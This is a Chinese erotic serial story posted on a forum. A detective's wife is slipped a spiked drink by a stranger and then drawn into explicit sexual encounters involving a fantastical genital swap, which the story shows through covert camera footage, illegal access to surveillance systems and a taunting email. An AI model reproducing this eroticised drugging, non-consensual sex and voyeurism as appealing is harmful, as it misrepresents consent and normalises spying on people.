图片载入中

龙舌兰 (01-16)

特大字】 【大字】 【中字】 【小字

予人玫瑰手留余香,希望您高抬贵手点一下右上角的举手之劳 。

您的支持 是我发帖的动力,谢谢 !

*** *** *** ***

一、故事的开端

“砰”的一声从卧室内传来,随后便是一男一女的争吵声,此起彼伏。

“你明明知道你年纪也不小了,咱们说好了的,今年年内要孩子,你现在却 要出国,真不知道你们女人怎么想的!”男人气愤的说道。

“这又有什么办法,都是公司指派出去的,难道我还把工作辞了不成,等着 你养我么?!那样我们俩早都饿死了,更别说要孩子!”女人含着泪,回击道。

“你这么说是什么意思,瞧不起我的工作呗!?那你想我一个私家侦探能怎 样,莫非出去偷出去抢么!”愤怒之后,男人缓和了一会儿,好,你说得是。我 收入确实是比你低点,你堂堂世纪公司销售部主管助理,我怎么能比。你们那公 司,谁还不知道钱是怎么来的呢!“女人瞪了男人一眼,”你的话太伤人了,我 不想呆在这跟你说话“。话毕,女人用力地甩上大门,穿上黑色高跟鞋出门了, 只剩男人独自坐在沙发上,面对着这一残局,面对着这一空旷的屋子。

风卷残云般的争吵已经不是第一次了,或者说不是近些年来的第一次了。

男人仰卧在沙发上,看着窗外寂寥的夜空,开始回想过去的点点滴滴。这个 男人叫杨立,身高177cm,身材偏瘦,得益于曾经的锻炼,人到30,依旧 保养得很好,从警察学校毕业后,没有像大多数他的同学一样,进入警察部门或 者到政府机关单位工作,反而选择了极具挑战性的私家侦探作为首选职业。由刚 开始从业的菜鸟,成长到后来知名的私家侦探,光景好的时候,也曾经月入数万, 当然高收入伴随而来的也是需要承担各种case的高风险。也正是因为杨立神 秘而充满激情的职业,让当时还是就读于工商学院的学生思琪对其迷恋得无法自 拔,最终两人坠入爱河。

妻子思琪比丈夫杨立小3岁,在学校时,虽然算不上校花级别,但是在学院 里也是数一数二的美女人物,杨立清楚的记得第一次见面时的场景,一袭黑色的 长发斜刘海,精致的五官,有点略像韩国明星,165CM的偏瘦身材却挺着C cup,虽然没有妖艳女星那样的丰乳翘臀,但是这样的气质型美女很让杨立心 动和满意,从最初交往的青涩到后来的相知相恋,并最终走入婚姻殿堂,两人也 算是经历了很多事情,十指相扣时的甜蜜、两唇相交时的热恋、情侣旅馆里的激 情、神圣教堂里的山盟海誓,这一切的一切都被现实的生活磨得平平淡淡,最终 变成如今的磕磕绊绊。

杨立虽然人到30却未能立,对待生活和私家侦探的工作也逐渐缺乏了激情, 再加上近些日子生活的诸多不顺,只是被动的得过且过。经济的压力自然压到了 妻子思琪的身上,还好思琪有着优秀的学历和出众的交际能力,在工作中还算如 鱼得水。几年的职场磨练后,清纯的妆容转变成成熟的OL妆,中分的亚麻色长 发也凸显出几分强势,而对于皮肤和身材的保养女人是丝毫不会懈怠。很多女性 在家庭和工作中逐渐占据主导地位后,随之而来的则是与另一半的矛盾,开头的 争吵已经是家常便饭,只是这一次话语更重而已。

“也许她的心已经不在我这了。”杨立自言自语道,虽然身为私家侦探,他 却始终对自己的另一半给予足够的信任,没有使用过任何手段去调查,只是这一 次他犹豫了,可是又很矛盾,“思琪应该不会的,不管怎样,她都是我最爱的人, 我到底在想些什么”。说罢,杨立走到冰箱前,取出了一瓶纯的伏特加,一杯接 一杯的往肚子里灌,任凭思绪杂乱,胡言乱语,他只想一醉解千愁。

海滨城市的夜晚,风总是格外的大,在这开春的3月份,还带着一丝丝凉意, 思琪踩着高跟鞋,沮丧地走进海边的一家小酒吧——蓝月酒吧——这也是杨立跟 思琪第一次见面的地方,在一个朋友的生日聚会上,他们俩也是在那相识相恋。 每次吵架,杨立或者思琪都会回到这里,也许是回忆一下,初识时的美好,以慰 藉现在烦乱的日子。

进门之后,径直找到那张靠近吧台的老位子,只不过现在是孤身一人,点了 一杯冰饮料,静静地听着酒吧里的慢音乐,企图让波动起伏的情绪得到平伏。一 个穿着黑色职业装肉色丝袜的美女,坐在吧台旁,正托着下巴,不安地搅动着杯 中的饮料,眼神中带着一丝忧伤,或许任何男人看到都会想上前安慰安慰。

果然,一个端着洋酒的男人走到思琪旁边,很有礼貌地问到,“美女,能请 你喝一杯吗?”。思琪对着这样的搭讪已经习以为常,不屑地瞅了瞅眼前的这个 男人,比杨立稍微高一点,身材比较壮实。

“今天没心情,我想自己静一静”,思琪完全没心情理睬眼前任何人,即便 是个大帅哥在眼前。

“看样子美女是遇到什么难题了,无论是生活还是工作的,都应该乐观面对, 生活有很多你意想不到的事情。”尽管思琪不想理睬,搭讪的帅哥依旧纠缠着, “这样吧,我请你喝杯酒,你从来未尝过的,如果你喝完之后不能打开你的心结, 我自己会离开,而且今晚你所有的点单算我的。”思琪虽然知道酒吧里有很多不 怀好意的人,可是在这里她是熟悉得不能再熟悉,即便出了什么事情,这里相识 的老板也会帮着他,就答应了眼前的男人。

男人从口袋中拿出一个银色的扁形小酒罐,问吧台的调酒师借了调酒杯和些 许调酒料。十分钟后,一杯墨绿色打底的洋酒呈现在思琪面前,“这是什么酒? 颜色看起来很奇怪。”思琪警惕地问道。

“这是我特调的龙舌兰,基酒是从墨西哥的一个小村庄弄来的,世面很少有, 味道也很独特,当地人都叫它”圣侣“”。男人解释道。

深沉的墨绿色正好映衬着思琪郁闷的心情,这一抹深绿的颜色好像在不断地 吸引着眼前的美女,似乎让她一饮而尽。男人说到,“感受它最好的方法就是一 饮而尽,你敢喝么?”。几年的职场生活,已经让思琪的性格变得更倔强,她最 无法忍受的就是别人的嘲讽。她端起酒杯,那一朵墨绿色顺着思琪娇艳的粉色唇 彩,飘进了喉咙。思琪想着,“这杯酒不像平常的龙舌兰口感那么重,反而倒是 觉得很顺口,喝完之后,虽然没有这人说的能让我心情愉悦兴奋,不过口感倒是 不错,一股植物的清香还留在咽喉中,完全没有酒的感觉。想来眼前这男人也不 过是个搭讪的骗子而已吧,心情还是一如既往的糟糕。”当思琪正想开口,让眼 前人离开的时候。一股燥热从腹部袭来,伴随而来的还有从上至下的清凉刺激着 白嫩皮肤的每一个毛孔,两种截然不同的感觉在身体里汇集,心跳不断加速,烦 闷枯燥的心情被突然而至的快感代替,甚至一种想犯罪的心理活动在驱使着这位 美女。

“想不想出去走走?”一种难以抗拒地男声漂进思琪的耳朵。在一阵似催眠 的话语之后,思琪竟然跟着眼前的男人走出了酒吧门口。

对于思琪来说,也许这将是神奇而美妙的一夜,然后罪恶的种子也埋在她心 里,逐步生根发芽。杨立在家中早已伶仃大醉,躺在客房的床上酣然入睡,似乎 思琪发生的任何事情都与他无关,甚至是整个世界这时候都与他无关。

早晨的阳光透过窗户,晃醒了刚刚经历过宿醉的杨立,抹了抹眼睛,摇摇晃 晃起身喝水,宿醉的后劲不是一时半会能清醒的。“昨晚思琪去哪儿了,晚上没 听到开门的声音,莫非一宿未回?平时吵架也不会这样啊。

“小声嘀咕着,说罢便走向主卧,看到一个安详的睡美人缩在床上,几锊秀 发散落在枕头上,被毯刚好披到胸部,露出浅浅的乳沟和撩人的香肩,只是那一 丝酒味破坏了这一和谐的画面。

人们都说让男人掌握不住的女人才最有吸引力,确实是这样,思琪这样的老 婆让杨立又恨又爱,杨立叹了一口气,轻轻关上房门,走向洗漱间,想换洗掉身 上带着酒味的脏衣服。思琪昨晚穿的OL装还扔在洗衣机里,作为老公帮忙整理 一下脏衣服,也算是份内之事。可是正整理的时候,细心的杨立发现,思琪的O L装上有一股似曾相似的罂粟味,不同于思琪身上淡淡的香奈儿香水味,拿出来 仔细检查了一下,一步裙和上衣有些黏黏的液体,有部分已经变干结成白色小块, 杨立拿出来闻了又闻,苦思冥想,多年的男人经验告诉杨立,这可能是男人的精 液!。男人可以忍受妻子的怒火,可是无法忍受妻子给自己带绿帽子。一股怒火 顿时冒上心头,杨立拽着衣服,想找思琪对质,可是转念一想,她现在肯定不会 承认的,而且我也没有十足的证据说明什么。“好,既然你不仁也别怪我不义, 哼哼,张思琪,你真狠啊!”作为一个曾经小有名气的私家侦探,他决定通过自 己的职业手段来找出这第三者。

杨立分析了一下“案情”,决定先从监控画面入手。他打开电脑,调出在网 上跟黑客购买的程序侵入监控系统主干,查看昨晚思琪出门时间之后所有的监控 录像。经过一个多小时的搜寻,终于有所发现,吵架之后,思琪沿着海滨路去了 他们常去的蓝月酒吧,呆了估计差不多一个小时,跟着一个陌生男人走了出来, 绕进了酒吧后面偏僻的小巷子里。小巷子里没有监控摄像头,监控录像只能跟到 他们走进巷口,以及这对男女先后离开时的画面。正当杨立纳闷的时候,忽然想 到,当年酒吧后巷经常有打架闹事和小偷,他曾经帮酒吧的老板装过一个私人的 监控,在那之后,就很少有人去光顾这个地方,甚至被人遗忘。

“那摄像头兴许还能用用,只不过那个私人监控的主机在酒吧里。”想到这 儿,杨立简单地洗漱后,披上几件衣服,顾不得理睬还在熟睡的思琪,急急忙忙 地奔蓝月酒吧去了。

赶到酒吧,就直接奔进去。“老杨!”突然一个男声把杨立叫住,杨立顿了 一下,扭头一看是酒吧老板。

“你怎么这么早来这?不会是一大早来买醉吧,哈哈。”酒吧老板跟杨立和 思琪都太熟了,平时见面也比较爱开玩笑。

可是这会儿杨立丝毫兴趣都没有,心里只想着能看到昨晚的监控,“哦,我 ……我那个是想来看看昨晚监控的,这段时间接了个case,是这附近的,想 找找有没有什么线索。”出轨这种事情即便是熟人也难以启齿,只能编个谎言。

“昂,你随便看,反正都是你装的,就在设备间里面,密码什么的,你都知 道的,我这还得出去一趟,就不陪你了。”说完,酒吧老板安心地出门去了。

杨立冲进设备间,火急火燎地操作起来,果然,摄像头依旧好用,虽然巷子 内光线不太好,可是在黄色路灯的映照下,还是能认清人,只不过没有声音录入 设备。打开录像,快进到昨晚那个时间段的视频,一幅男女交缠在一起的画面震 惊了杨立。穿着黑色OL装的女人正是自己老婆思琪,陌生的男人正上下摸索着 思琪的身体,与思琪双唇相接,思琪非但没反抗,反而一手反复摩挲着男人的下 体,享受着陌生男人的爱抚,就是杨立也极少看到自己老婆如此淫荡的样子。这 时,男人在思琪耳边耳语了几句,思琪迷惑地点了点头。忽然间,两人紧紧地包 在一团,四片嘴唇更加紧紧地贴在一起,似乎是想吞掉对方。过了数分钟,两人 才分开,思琪一脸的迷茫,用手摸了摸自己的下体,嘴唇动了动,好像在跟男人 说些什么,男人只是露出一丝坏笑。接下来的这一幕,更让杨立百思不得其解。

男人这时拉开自己的拉链,蹲了下来,一只手伸入裤内,好像在不断地摸索 什么东西,另一手则拉这思琪的一步裙,拉低肉色丝袜和黑色的蕾丝内裤至大腿, 伸向了那浓密的毛发间,在寻找。看到这杨立就不明白了,“莫非这不是我老婆? 思琪对于毛毛什么的,除了我的胡须,其他的她都比较讨厌,平时身上都用脱毛 膏把所有体毛都脱掉,包括下体的,甚至是我的阴茎毛。继续看看。”一条巨龙 被在男人的爱抚下,从杂毛中伸出来,那是一条男人的阳具,长在美女思琪的身 下!“这是什么回事!!”杨立几乎心要从嗓子眼奔出来。思琪一头黑色的长发, 穿着黑色OL装,踩着高跟鞋,肉色丝袜连同内裤一齐被退下,那本应该是花园 的私密处,却耸立着一根男人的棒子,并在男人的爱抚下有喷发之势。阳具受到 爱抚,这样另类的感觉是思琪从未享受过的,此时此刻她已经被胯下这根大阳具 和男人出色的爱抚所俘获,一脸淫欲地望着眼前的男人。男人起身,与思琪又继 续吻了起来,并引导她的手伸入自己的裤裆的里,就像两个互相爱抚的情侣。思 琪刚把手伸入男人裤裆时,先是露出了吃惊的表情,摸索了一会儿之后,露出了 奇怪地坏笑。男人又在思琪耳边说了几句,可惜监控没有录入声音。两人更加放 荡地互相抚摸对方的性器,思琪的阳具越摸越大,几乎快到立到她的腰部,而男 人受到思琪的爱抚,则全身时不时地颤抖一阵,随着一阵阵如电流般的颤抖,满 足的表情显而易见。男人也似乎加速了手上的动作,并不是地换着打手枪的动作, 如同扭瓶盖一样刺激着思琪的龟头,思琪一个惊异地表情之后,下半身不断地颤 抖,一股液体从思琪的阳具中喷出,喷出好多,射在她的衣服和男人的身上。她 也在享受着作为男人高潮的第一次,眼睛微闭两片嘴唇时长时闭,销魂般快感过 后,两人又温存了一会儿,聊了一会儿天,之后两人整理了一下衣服,先后离开 了小巷。

“这……这……”杨立看完之后,目瞪口呆,虽然听不到这香艳画面的录音, 可是看完录像之后,自己的阳具居然不自觉的挺立了。

这下该如何是好?为什么思琪会这样?那男人到底是谁?满脑的疑问在这个 私家侦探的脑中迸发出来,托着脑袋,坐在设备间里苦恼着。毕竟思琪与自己结 婚已经有好几年时间,爱爱的次数绝对不在少数,彼此都了解得一清二楚。即便 他们近些日子争吵得很激烈,但他实在是无法把自己平时漂亮可爱的妻子形象与 视频里那个长着大阳具的淫荡女联系在一起。

“滴嘟滴嘟滴嘟”这时,手机电话响起,把杨立拉回现实中来,他提起三星 手机,看了一下屏幕来电显示,“思琪老婆”。

(第二章)

二、背叛?假象?

杨立发呆地看着手机上显示的号码,不知道如何面对现在的“老婆”。长长 地叹了口气,杨立按下了手机的通话键。

“老公,你在哪儿?”电话那头传来懒洋洋的女声,很明显,思琪刚刚睡醒, 而且不知道杨立这边正在进行着调查。

“呃……哦……我……我在外面办些事情,一会儿回去。”杨立看完视频之 后,完全懵了,不知所措,他决定回家之后再质问自己的老婆,“你在家等我, 我回去有些事情问你。”“嗯啦,好的,老公,我等你回来哦。”电话的那头异 常的乖巧,让这位刚受完刺激的杨立觉得有些意外,完全摸不透这一切是什么情 况。

“看来那个陌生男人应该值得我注意一下,他应该是整个事件的关键,找到 这个男人很有必要。”,解铃还须系铃人,作为一个职业的私家侦探冷静地分析 之后,决定先从这个陌生男人入手。虽然这只是酒吧的私人监控,可是杨立为了 保存这个秘密或者说丑闻,他将视频从监视主机的硬盘里剪切出来,拷贝到自己 的U盘上,一般来说,除了酒吧老板和杨立,不会有什么人来查询监控录像。临 走之时,杨立还询问了几个酒吧的工作人员,是否最近有可疑的陌生男人在酒吧 出没,可惜酒吧这种人来人往的公众场所,即便真有人可疑人物混进来,也难以 发觉。

杨立离开酒吧,走在回家的路上,脑海中始终回想着整个事情的经过,以及 那错综复杂的男女淫乱场面。捉奸这种事情,是每个私家侦探所必经手的基础案 件,然后现在这样的事情发生在自己身上,杨立却毫无头绪,更何况这真的是 “出轨”么?

边走边分析着,大约走了两个街道,杨立本能地感觉到似乎有人在刻意地跟 着他,路上的行人不是很多,杨立警惕地拿出手机,打开前置摄像头,放慢脚步, 把摄像头往后方照了照——蹒跚的老人,坐在街边长椅上的情侣,打扮时髦背向 而行的女郎,以及几位匆匆忙忙的行人,似乎每个人都不是很可疑。“也许是我 神经绷得太紧了,想多了吧。”说罢,便大步朝家的方向走去。然而,往往人的 第六感是非常奇妙的,一个陌生的身影远远地跟在杨立的身后。

掏出钥匙,开门的那一刹那,杨立还犹豫了一下,故作镇定地开门,进屋。

整齐干净的大厅,阳台上晒着刚清洗干净的职业装,主卧里空无一人,很显 然,思琪已经起来收拾“残局”,兴许这会儿已经出去了,杨立自己推断着,此 时此刻,研读过多种犯罪心理学的他不知道该如何去质问自己的老婆,“不在也 好,我也不知道该如何面对。”话音刚毕,一个盘着头发,化着淡妆的女人从厨 房里露个小脑袋,乖巧地说了一声,“老公,你回来啦,自己在嘟囔什么呢?”

杨立楞了一会儿,没想到思琪还在家里,“呃……哦……那个……没什么, 我前面去见了个客户,你今天没去上班么?在厨房做什么呢?”

思琪从厨房里蹦出来,活像一个17、8岁的小女生,“我今天跟主管说身 体不舒服,请假了,在给你弄点吃的呗,平时工作忙,你也很久没吃我做的菜了”, 说罢,她走上来双手揽住杨立,头枕在男人的肩膀上,“老公,我不想吵架,我 也不出国了,我在这陪着你。”思琪的转变让杨立很惊讶,是出轨后的内疚还是 伪装的假象?自己老婆态度的180度转变,也只是在这一夜间,“你怎么啦? 出国深造不一直是你的梦想吗?”杨立想了想昨晚的那一幕,冷冷地问道。

“我舍不得离开这个城市,也舍不得你。”女人的眼泪说来就来,才说了两 三句,声音就哽咽了起来。

杨立从来都是个疼老婆的好男人,也见不得女人落泪,心特软,“好吧,不 去就不去吧。乖,不哭了不哭了,咱们吃饭去。”说完他还轻轻吻了一下思琪的 额头。得到自己丈夫的认可,女人也破涕为笑,在男人怀里撒着娇。事实上,杨 立这会儿脑子里的疑问更多了,本想问的事情也压到嘴边,没说出口。“罢了, 还是先找到那个神秘的男人再说吧。”

他想了想,便想松开怀里的美人,去厨房弄点吃的。

这时,一双娇嫩的红唇贴了上来,杨立有些愕然,只闻到思琪身上淡淡的香 水味,让他放松、迷离、逐渐坠入温柔乡中,他化被动为主动,与思琪舌吻起来, 完全忘记了昨晚这条香舌曾经被别的男人吸食过。他把思琪狠狠地压到方形的饭 桌上,粗鲁地抚摸着思琪的全身,似乎在宣泄着这一阵紧张的情绪,而思琪也非 常享受地配合着这爆发的激情,并伸手解开自己老公的裤带,隔着内裤不断地爱 抚着变粗的阳具,思琪每一下的抚摸都能触摸到阳具的敏感处,似乎对男根的构 造非常的了解,思琪从未有过的欲求不满地表情也让杨立格外的兴奋,杨立迅速 脱掉裤子露出压抑已经的男根,让思琪反趴在餐桌上,褪下褐色居家小短裤,用 正准备进入那早已泛滥的淫穴。

“是女人的小穴,不是昨晚那话儿。”杨立还保有着一丝理智,看到那性器, 停止了动作,联想到了与昨晚形成巨大反差的场景。

“老公,快点嘛,人家小穴好痒哦,等着你呢。”老婆一脸淫荡地回过头, 恳求着老公发力,还淫荡地扭着屁股用小穴迎合大阳具。

这小两口由于近段时间的争吵,已经很久没有好好享受夫妻生活了。望着眼 前销魂的老婆,杨立最后一丝理智,也被性欲给泯灭了,借着淫水把整根JB深 入那私密处,狠狠地抽插起来,每一下都特别深特别用力,嘴边还不时地发出低 沉的喘气声,仿佛一只公性的雄狮在宣誓着自己的主权。客厅里也回荡着男女时 断时续的喘息声,一男人正用力的抽插一女人的下体,双手透过宽大的白色T恤 握着双乳。这一幅幅激战的画面,在家里不同地方用不同姿势上演着。此时此刻, 大门外一陌生男人边收拾各种窃听和偷拍器材边准备离开,嘴角露出让人难以捉 摸的奸笑。

疯狂的性爱过后,主卧里两具赤裸的身体满足的相拥而眠,温存着这份陌生 又熟悉的甜蜜感觉。

经过几场经典的床上战役之后,换来的是夫妻双方的和平协议——回归平静 的小夫妻生活,思琪没有选择出国,依旧在原公司尽心尽力地工作,压力虽然比 较大,可是辛苦的汗水换来了晋升的机会,得到领导的大力提拔;杨立在那之后 不仅平息了后院纷争,也在自己的工作上收复失地,迎来了事业的第二春,市里 那段时间多了不少人口失踪的案子,在警署工作的老同学经常委托他帮忙,每天 过着的也是起早摸黑的日子,杨立虽然没有询问思琪那晚的事情,可是他依旧利 用各方资源在寻找那名神秘男子。在这段恬静且安详的日子里,小两口日出而作, 日落而归,工作虽然都比较忙碌,但是一到周末两口子也不忘温存一下,并且每 次思琪都能给杨立带来新的性爱感受。

这又是一个普通的周末晚上,却又有着不一样的故事。

“啊啊啊啊,老公,用力点,顶得人家好舒服。”思琪正穿着粉色的小护士 情趣制服,胸口的扣子早已被解开,能很清晰地看到一对白乳,正随着女人的动 作有节奏的上下摇摆着,一头刚烫的长卷发随意的披在肩膀上,女人身下躺着的 是自己的男人,正卖力地顶着女人的蜜穴。

“嗯……哼……亲爱的……你真性感,我快受不了……我得加速了……啊… …啊……”随着男人的一声嘶吼,一股热浪冲进了女人的体内,阳具还不断地跳 动着。

“太舒服了,老婆,你真是性感极了,真想每天都跟你做。”

“老公,你也好棒,弄得人家现在一点力气都没有。”女人在男人的脸颊上 亲了一下,当做奖赏,“不过下周公司派我去日本出差几天,明天早上就得出发, 可能不能陪你爱爱咯,你得管好自己的那个哦。”说罢,还调皮地用小穴紧了紧 还插着的男根。

“好嘛,去外地注意安全,还有,不要让我在日本的DVD上看到你哦,要 不然,哼哼,看我怎么收拾你。”说罢,一翻身把思琪压在身下,来上被子,卧 室里又传来一阵男女的嬉笑打闹声。

周一的阳光总是格外的刺眼,让人不得不在这每周的第一个工作日早起。杨 立睁开睡眼,伸了个懒腰,身边的老婆估计早已经出发去机场的路上了。他照旧 开电脑,洗漱,冲杯黑咖啡,收发电邮,忽然看到一个匿名的邮件,标题是“你 有多了解你的老婆”,“估计又是什么无聊人的恶作剧或者推销广告吧”杨立心 想着,随意的点开了那封邮件,可是邮件的正文和一张预览图,让杨立目瞪口呆。

邮件的正文:杨大侦探,你好,周末过得还挺滋润吧,不对,应该说近段时 间的每个周末都很滋润吧。哈哈,跟你老婆在床上翻云覆雨的时候,有没有想到 过你老婆的另一面?

附上的图片:是一个穿着暴露的酒红色长发的女人,黑色的胸托,黑色长筒 吊带袜,穿着漏阴的黑色蕾丝内裤,从内裤的中缝里露一条热情巨大的阴茎,正 被这女人一手握住,似乎在套弄,脸上还向镜头展示着淫邪的表情,仔细一看, 这照片中的女人正是自己的老婆思琪。

大侦探,你无须怀疑这张图片的真实性,完全没有PS过,这个你自己都可 以验证。我知道你近段时间一直没有放弃追寻我的行踪,也许在看完这张图片以 后,你更想知道我在哪?我是谁?不过我还有更刺激的东西,在邮件附件里,看 完之后也许你就有答案了,顺便说一下,你老婆真的够风骚够劲儿啊,你小子还 挺有艳福。

杨立急忙把邮件的视窗拖到最下面,点击下载附件,是一个压缩包,没有密 码。“会不会是病毒或者别人的阴谋?”杨立还稍微警惕了一下,“不管了,先 看看再说,反正我电脑里也没什么重要资料。”

解压文件后,出现一个20多分钟的视频。播放之后,出现在画面里的是一 个酒店房间的画面,非常清晰,应该是使用了高清晰度的摄像头,而且应该是偷 拍,镜头画面正对着床铺,画面的底部还有些许遮掩物,这个录像的偷拍还录入 了声音,能听得到房间里有些杂音。这些东西对于一名专业的私家侦探来说并不 陌生。这时,听到房间敲门的声音,一男子从镜头前走过,只能看到一个身影从 镜头前晃过,没有捕捉到男人的正面。

“你来了。”一个温和的男声说道。

“恩啦,我都累死了,上了一整天的班,事情又多,明天早上召集部门的员 工开会。”女人一进门就抱怨道,只是这女人的声音让杨立听起来觉得异常熟悉。 女人进屋之后,把手包往床上一扔,径直坐到床铺的边沿上,侧对着镜头。杨立 看到镜头捕捉到的女人,那正是自己的老婆——思琪,还穿着白天上班的OL装, 只不过这一身是杨立在思琪升值的那个周末陪着去买的,半截袖的收腰白色小西 服,里面穿着丝制的藏青色打底衫护到胸口的位子,事业线若隐若现,下着搭配 的包臀白色短裙,照旧是肉色丝袜和粉色高跟鞋。

“好啦,你先去洗个澡,换身衣服,一会儿咱们喝一杯,好好放松放松。”

说罢,男人便递给思琪一包衣服,转身走到旁边去取东西,能听到瓶瓶罐罐 碰撞的声音。

思琪坐在床沿边上,打开袋子看了一眼里面装的东西,狡黠地坏笑了一下, “每次你都能给我不一样的刺激。”说罢还叹了口气,说道,“也只有在你这能 够让我忘却那些烦恼,享受不一样的生活!”听到这儿,坐在电脑前的杨立满腔 怒火,虽然不知道接下来会发生什么,但是思琪的话语已经足够让一个丈夫火冒 三丈。

生气是必然的,但是杨立还是决定把这个视频看完。思琪拿起袋子,往洗手 间走去。摄像头稍靠前一点的桌子上,被男人放了两只洋酒杯,男人用各种基酒 和材料,细心地调制着每一杯酒,最显眼的应该是一瓶绿色的液体,男人非常小 心的比兑着分量。从视频里面还能够听到浴室里传来的水声。杨立已经迫不及待 地想知道后面发生了什么,按了几下快进键,却忽然发现视频跳了一大截,映入 杨立眼前的是一个穿着PU漆皮女王装的思琪,正在抚摸着穿着思琪OL装带着 假发的男人?杨立急忙回退了一下,想看看发生了这一段时间发生了什么,前一 段视频的最后一帧是男人在调酒,下一帧就是着女王装的思琪正在与穿着白色O L服的男人激吻。“中间发生的过程被人为的减掉了。”杨立断定,看来这个人 还在隐藏着什么,继续看看后面发生的情况。

从视频来看很显然,穿着思琪OL服虽然看起来像女人,有着和思琪不相上 下的身材,可是他的黑色长直假发和手臂都出卖了他本体,“这男的居然还有这 个嗜好,喜欢扮伪娘,还穿着思琪的衣服。”杨立自言自语道,再观察老婆思琪, 酒红色的中分小卷发(印象里自己的老婆重来没有弄过这样的发型),长的黑色 漆皮手套,长筒黑色皮裤袜,半包身的黑色紧身衣衬托出思琪丰满的上围,整件 衣服成马甲线包裹着思琪紧绷的下体,脸上还化着浓厚的夜店妆容,嫣然一幅女 王样。即便是作为老公,杨立也从未看过思琪如此狂野的打扮。画面中,女王思 琪与OL伪娘激吻着,思琪还主动把手伸入到伪娘的一步裙里,顺着臀部向下摸 索。

“你还真是淫荡呢,才这么一会儿,下面就湿了。”思琪坏笑着对眼前的伪 娘说到。“想要本女王的恩赐么?”

“都是你太性感了,再说这么湿,能怪我么,还不都是你的东西。”黑色的 假发挡住了伪娘大部分的脸,可是从声音来判断应该就是那名陌生男子。伪娘还 故作娇嗔地说到,“好嘛,让思琪小奴奴来服侍你。”听到这儿,杨立又迷惑了, 为什么这伪娘这样称唿自己。可是这根本就是整个视频的冰山一角,接下来发生 的事情,会让杨立更加震惊。

思琪听到伪娘说的之后,蛮力地把伪娘直接推到在床上平躺着,自己着两腿 分开跨坐在伪娘的胸前,下体正对着伪娘的脸,一双戴着漆皮的手套还上下摸索 着下体的处的拉链,似乎在引诱着身下的那位,“既然想要,思琪小奴奴就自己 动手吧。”像听到命令一样,伪娘拉下紧身衣的下体拉链,一根粗大红涨的阴茎 蹦了出来,虽然无法估量尺寸,但这样雄起的姿势,足以让每个男人嫉妒,女人 羡慕,更何况现在还是长在一个美女的身下,阴茎偏黑的颜色与美女妖艳的妆容、 白暂的皮肤,形成了强烈的视差。伪娘很温柔的上下套弄着这根宝贝,时不时还 用舌头调皮地舔几下。“好好地替本女主含着,要是本主不高兴,一会儿有你好 受的。”思琪发话使令,还回过上半身用手伸进一步裙里狠狠地捏了一下,伪娘 被这一刺激,立即把整根含入嘴巴里,前后动着脑袋吸吮着。

杨立心里有些难以接受这样的画面,更不知道该如何联系起昨晚还在他跨下 呻吟、妩媚的老婆。不过随着视频的播放,杨立的内心起了变化——居然产生了 一丝丝兴奋,下体更是用挺立还出卖了他的本性。淫乱倒错的画面依旧在上映着, 杨立现在已经能够看到那男人的侧面,可是也化了浓浓的妆容,让人看起来完全 就是成熟女人的脸庞,更别人依据这个去寻人。伪娘很专心地干着口活,偶尔把 大阳具吐出来,用舌头刺激着龟头,“真是舒服,你的口技又比前几次进步多了, 再快一点,本主涨得难受。”思琪一脸淫欲地俯视着胯下的小奴,双手也没闲着, 不断地玩弄着受聚拢而显得更大的双乳,下体前后地配合着口交的频率抽送。

“这……前几次……这么说思琪跟这个男人长期保持着这样的关系………妈 的!”杨立听到这儿,既气愤也无奈,他立即掏出手机拨给自己的老婆,听到的 全是关机的消息,“也许在出差的飞机上……”杨立也只能这样假想到。

“啊~ 啊~ 嗯哼~ 好舒服,再快一点,小贱货,再快点!”一阵急促的女性 喘息声把杨立又吸引回视频中来,思琪加快了抽送的频率,并不断的用各种话语 侮辱着伪娘,而伪娘也非常识趣地深入浅出,感觉思琪雄壮的男根能刺破伪娘的 嗓子眼,甚至连身为男人的杨立也有点自叹不如。在一阵冲刺之后,思琪低哼一 声,拔出粗大的阳具,从马眼持续地喷射出乳白色的精液,给伪娘来了个颜射, 满足的表情布满了思琪化着浓妆的脸庞,长长的假睫毛也随着高潮上下一眨一眨, 似乎在宣泄着整周工作积累的压力。思琪射完之后,倒坐在一旁,穿着OL的伪 娘顾不上满脸的精液爬过去用舌头清理着思琪胯间的独龙,一只手还伸入到裙底 反复的摩擦着下体。

“你真的是太棒了,感觉你的这根在我这好粗哦,比我老公的还要大呢,嘻 嘻。”思琪说出一句让杨立震惊的话,从未想过平时可爱、知书达理的老婆会说 出这样的话语,更是伤透了杨立的心。杨立听到这儿,立即拉下裤子,望着自己 的男根,再看看视频里思琪胯下的大阳具,嫉妒的感觉油然而生。

“你的小穴在我这不也是,夹得那么紧,感觉那么强烈,弄的我好兴奋,估 计都把你的内裤都弄湿透了。”伪娘说完还咯咯咯的像一个小女生一样直笑。 “不过女人的高潮的感觉比男生持续的时间更长,而且遍布全身,比我以前用男 人性器的高潮爽多了。”

“我倒是觉得有这么粗这么硬的男根比较痛快哦,尤其是能够掌握整个做爱 的节奏,高高在上征服女人的感觉真好,我现在终于知道男人为什么喜欢做爱, 并热衷于跟不同的女人做爱。”思琪得意洋洋地说道,还一边用手上下地套弄着 自己刚射完的阳具,一边凑过去舔了舔伪娘脸上的精液。“想不到你化妆之后这 么漂亮,还穿着我的衣服,真有几分神似呢。”

“你这么喜欢当男人,等过段时间再弄点更刺激的给你解解压。”说完,还 从内裤里拔一颗还沾着淫水的震动小跳蛋,跳蛋从小穴出来的时候还娇嗔了一声。

听到这儿,杨立理了理思路,大概了解了目前的情况,原来两人的性器互换 了,可是在这科学的年代,这样荒唐的事情又是如何做到的呢?

这男人究竟是谁,能有这么大的能耐!思琪看来也是受他引诱,再加上平时 繁忙工作带来的压力,一步一步地陷入神秘男人的戏法中。当务之急,是得赶紧 找到这个神秘人。

想到这里,视频画面变黑,出现了几行字:嘿嘿,看完有没有觉得很兴奋呢?

没有想到你老婆会如此的淫荡吧,还有更多你想不到的事情,这视频只是其 中之一,就当做是见面礼吧。

如果你想知道这一切的答案,这个月13号下午3点到沙湾区的滨海大酒店 606找我,错过的话,那就让你老婆多陪我玩一段时间咯。

杨立立刻看了一下邮件的发送时间,11号上午10点19分发送,“今天 是12号,也就是明天下午。可是,这个很可能是他安排的一个陷阱。”

